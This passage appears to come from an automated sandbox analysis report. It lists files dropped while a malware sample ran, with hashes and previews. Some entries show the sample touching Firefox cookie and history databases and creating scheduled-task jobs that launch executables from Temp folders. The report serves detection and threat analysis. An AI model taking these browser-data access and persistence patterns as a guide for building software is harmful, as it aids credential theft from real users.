SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\store.json.mozlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\store.json.mozlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185924656884556
Encrypted:	false
SSDEEP:	768:wI43DvfWXf4E6C4p4EC4Y4QfEWvM4B4QS4z4444XQ4U:wUfdvk
MD5:	5656BA69BD2966108A461AAE35F60226
SHA1:	9C2E5AE52D82CEA43C4A5FFF205A7700CF54D61C
SHA-256:	587596712960B26EAC18CB354CCD633FFDB218E374A9D59EFEA843914D7AB299
SHA-512:	38F715AD9156558B5D57CA2E75FB0FFE0C5C6728BD94484B8F15E090120DDD02DCE42DBC9CC7143AD6552460A5F3A40E577FAF1D76D5D40B25CDBE636F250054
Malicious:	false
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{60024e8e-cfd0-41e5-965d-7128c7dcf0e8}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185924656884556
Encrypted:	false
SSDEEP:	768:wI43DvfWXf4E6C4p4EC4Y4QfEWvM4B4QS4z4444XQ4U:wUfdvk
MD5:	5656BA69BD2966108A461AAE35F60226
SHA1:	9C2E5AE52D82CEA43C4A5FFF205A7700CF54D61C
SHA-256:	587596712960B26EAC18CB354CCD633FFDB218E374A9D59EFEA843914D7AB299
SHA-512:	38F715AD9156558B5D57CA2E75FB0FFE0C5C6728BD94484B8F15E090120DDD02DCE42DBC9CC7143AD6552460A5F3A40E577FAF1D76D5D40B25CDBE636F250054
Malicious:	false
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{60024e8e-cfd0-41e5-965d-7128c7dcf0e8}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	modified
Size (bytes):	11292
Entropy (8bit):	5.531102269357307
Encrypted:	false
SSDEEP:	192:bO4324TnaRtZYbBp6ihj4qyaaXyz6Kr5i+KZVkfGNBw8rYSl:bO4324+egqJWe5i+KZScwp0
MD5:	D2FBDA0737089A4219DE4486637B244C
SHA1:	BB4684E60CDB6A5146845776BBA0C297B67E448D
SHA-256:	16427E816646ED5D18CFD087AABC24A30C3F68878C7DAB835A4370C6EE0355C0
SHA-512:	76664E4F149A4FAABE5155571D67ABAFD2E4AC10A57547B3E633E1A686E46335B235B0318E12F340CD5367AD1AC5E1F396B35ACD6E1B2DADD004BFB6869AA285
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1721785963);..user_pref("app.update.lastUpdateTime.background-update-timer", 1721785963);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..u

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	11292
Entropy (8bit):	5.531102269357307
Encrypted:	false
SSDEEP:	192:bO4324TnaRtZYbBp6ihj4qyaaXyz6Kr5i+KZVkfGNBw8rYSl:bO4324+egqJWe5i+KZScwp0
MD5:	D2FBDA0737089A4219DE4486637B244C
SHA1:	BB4684E60CDB6A5146845776BBA0C297B67E448D
SHA-256:	16427E816646ED5D18CFD087AABC24A30C3F68878C7DAB835A4370C6EE0355C0
SHA-512:	76664E4F149A4FAABE5155571D67ABAFD2E4AC10A57547B3E633E1A686E46335B235B0318E12F340CD5367AD1AC5E1F396B35ACD6E1B2DADD004BFB6869AA285
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1721785963);..user_pref("app.update.lastUpdateTime.background-update-timer", 1721785963);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..u

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 301 bytes
Category:	dropped
Size (bytes):	271
Entropy (8bit):	5.4951404245078725
Encrypted:	false
SSDEEP:	6:vXDvz2SzHs/udk+eDAWrZCMNRoGO/QqCRwbffnK3SIgCncQTptVbZNzdDdCQ:vLz2S+EWDDoWqC+bfPK34Ocqp9d9
MD5:	E87C6ED58566F9EFEB16B7A15F05C2CD
SHA1:	6C7DEF17BF8EC9BF324E1FC5783CBD9D2E127176
SHA-256:	42A8C702C6BA9893D5C0B82E11B352C925AD7EEC736FDE51C8BBD077E269CF11
SHA-512:	6C45E5691B0B98128EFD9A21CBDF196033E41B0DA04B9A8CD9916F3D5BBBDEE0F51C74675756246FF14EFD03C15B8CAC2A95A8FCE73DE34ED9C7D1B1C64C78D3
Malicious:	false
Preview:	mozLz40.-.....{"version":["ses....restore",1],"windows":[{"tab....],"selected":0,"_closedT..d_lastC...&GroupCount":-1,"busy":false,"chromeFlags":2167541758}d..W..5":1j..........@":{"w...Update":1721785956358,"startTim...#33232,"recentCrashes":0},"global":{},"cookies":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 301 bytes
Category:	dropped
Size (bytes):	271
Entropy (8bit):	5.4951404245078725
Encrypted:	false
SSDEEP:	6:vXDvz2SzHs/udk+eDAWrZCMNRoGO/QqCRwbffnK3SIgCncQTptVbZNzdDdCQ:vLz2S+EWDDoWqC+bfPK34Ocqp9d9
MD5:	E87C6ED58566F9EFEB16B7A15F05C2CD
SHA1:	6C7DEF17BF8EC9BF324E1FC5783CBD9D2E127176
SHA-256:	42A8C702C6BA9893D5C0B82E11B352C925AD7EEC736FDE51C8BBD077E269CF11
SHA-512:	6C45E5691B0B98128EFD9A21CBDF196033E41B0DA04B9A8CD9916F3D5BBBDEE0F51C74675756246FF14EFD03C15B8CAC2A95A8FCE73DE34ED9C7D1B1C64C78D3
Malicious:	false
Preview:	mozLz40.-.....{"version":["ses....restore",1],"windows":[{"tab....],"selected":0,"_closedT..d_lastC...&GroupCount":-1,"busy":false,"chromeFlags":2167541758}d..W..5":1j..........@":{"w...Update":1721785956358,"startTim...#33232,"recentCrashes":0},"global":{},"cookies":[]}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\AppData\RoamingBKEHDGDGHC.exe
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.421438569951764
Encrypted:	false
SSDEEP:	6:7HXpRKUEZ+lX1YC7UPelkDdtPjgsW2YRZuy0l1Ca1ut0:73pRKQ1h7keeDHjzvYRQV1Cact0
MD5:	D19652AE7B498FE4179319CE5AF5E0E8
SHA1:	6E8AB5FF38D966A6AB63ED5A7DC21176136E2BEF
SHA-256:	1000CD6BF1A7CDF68667DE62AB1750031DBBD179FDB34A9A12CF546AB85F7F3A
SHA-512:	BFFE8375BE70D54934A5AEB0E7A240BCEF4CCAE5EE8967725393DDBBAB8AB6B22E885EF8C25AD8EF882042F8936ADDB5CF2AA5AF623B1894E725BB0B89AD2030
Malicious:	false
Preview:	....@....D.@.=.].9..F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.8.2.5.4.6.2.4.2.4.3.\.a.x.p.l.o.n.g...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................(.@3P.........................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\userBGCAFHCAKF.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.4425783814684796
Encrypted:	false
SSDEEP:	6:7umotbX4RKUEZ+lX1QYShMl6lm6tPjgsW2YRZuy0l1Ca1ut0:SpB4RKQ13vg7jzvYRQV1Cact0
MD5:	324418737C1C2F651A48B89337FBD02F
SHA1:	E974902B2883A6977A6C4B1837CBA967C0D055F3
SHA-256:	074F1A3FDA82FC0013D07CBB9E5D90E2B00F3CB4658BC06A67BEAECA19510C09
SHA-512:	0E25E81946F4E6905E367B17B8B8226E9A594251D0AC85F3AC9987D3E6592621581FE964AEDBDEF72F88B93E70C1A25B604BCC6B4C4FFF66D026378C3218DB22
Malicious:	false
Preview:	....e...y..E..$;q.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................(.@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468096606455632
Encrypted:	false
SSDEEP:	6144:ZIXfpi67eLPU9skLmb0b4kWSPKaJG8nAgejZMMhA2gX4WABl0uNYdwBCswSbA:qXD94kWlLZMM6YFHi+A
MD5:	D2AEE40712F7148F7D499FA61090AE8B
SHA1:	FF527D032EA9C6810D74D99EA38F6C711A0E74E0
SHA-256:	A5D18035CF1E95959BA691D880A5494E19DA35F3688F94421BF1A69B0D9978B2
SHA-512:	CEB34E852E363D0269D5D6B80EE861A7CE55EEBCBF49422434B780D28D8274A5ABCBD72B7D4C4E4880A551366F1122F47E8BB7CFD7D6A285A2BBE948161F1837
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm:...a................................................................................................................................................................................................................................................................................................................................................C..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1694)
Category:	downloaded
Size (bytes):	30935
Entropy (8bit):	5.369630520613153
Encrypted:	false
SSDEEP:	768:OUIuSoKNexla7agsnMtpZZt9KYptfrx5t9F/mNgaRqPlNIC4BSfHX:FIuSoTOaytpXptzx5t9F+xAPUnCX
MD5:	AE057D30BC16CB32A65599CF09559EC3
SHA1:	BAA1C5159D5FC7FD437B5DADB4880DBEF8816E24
SHA-256:	11D4916DD4C57D7C64C6F151D2BF0BDF2C20138220858652C921680726B61ADE
SHA-512:	C254FC131350C319080A93C135DD7F6C6A5FB0206C9ED349B42334474896CB04FF5360AF076288DA00AFABA107FF126A2981EC4DE9D5B0FDB8DB9CDFF9D28DBE
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.eeRqeAC2pNE.es5.O/ck=boq-identity.AccountsSignInUi.LlHfu4CKns0.L.B1.O/am=BBkMYHQbgUA8nAMfoBQIGQAAAAAAAAAAtAEAAMw/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlGVfPbeXOsuKLP_-2Q_JIHpBKcP4A/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=byfTOb,lsjVmc,LEikZe"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{.var Tqa=function(a,b){this.da=a;this.ea=b;if(!c){var c=new _.Jn("//www.google.com/images/cleardot.gif");_.Un(c)}this.ja=c};_.h=Tqa.prototype;_.h.Lc=null;_.h.kV=1E4;_.h.Ux=!1;_.h.rM=0;_.h.IG=null;_.h.hR=null;_.h.setTimeout=function(a){this.kV=a};_.h.start=function(){if(this.Ux)throw Error("ob");this.Ux=!0;this.rM=0;Uqa(this)};_.h.stop=function(){Vqa(this);this.Ux=!1};.var Uqa=function(a){a.rM++;navigator!==null&&"onLine"in navigator&&!navigator.onLine?_.Qk((0,_.If)(a.lE,a,!1),0):(a.aa=new Image,a.aa.onload=(0,_.If)(a.Kda,a),a.aa.onerror=(0,_.If)(a.Jda,a),a.aa.onabort=(0,_.If)(a.Ida,a),a.IG=_.Qk(a.Lda,a.kV,a),a.aa.src=String(a.ja))};_.h=Tqa.prototype;_.h.Kda=function(){this.lE(!0)};_.h.Jda=function(){this.lE(!1)};_.h.Ida=function(){this.lE(!1)};_.h.Lda=function(){this.lE(!1)};._.h.lE=function(a){Vqa(this);a?(this.Ux=!1,this.da.call(this.ea,!0)):this.rM<=0?Uqa(this):(this.Ux=!1,

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (777)
Category:	downloaded
Size (bytes):	1481
Entropy (8bit):	5.326308794412408
Encrypted:	false
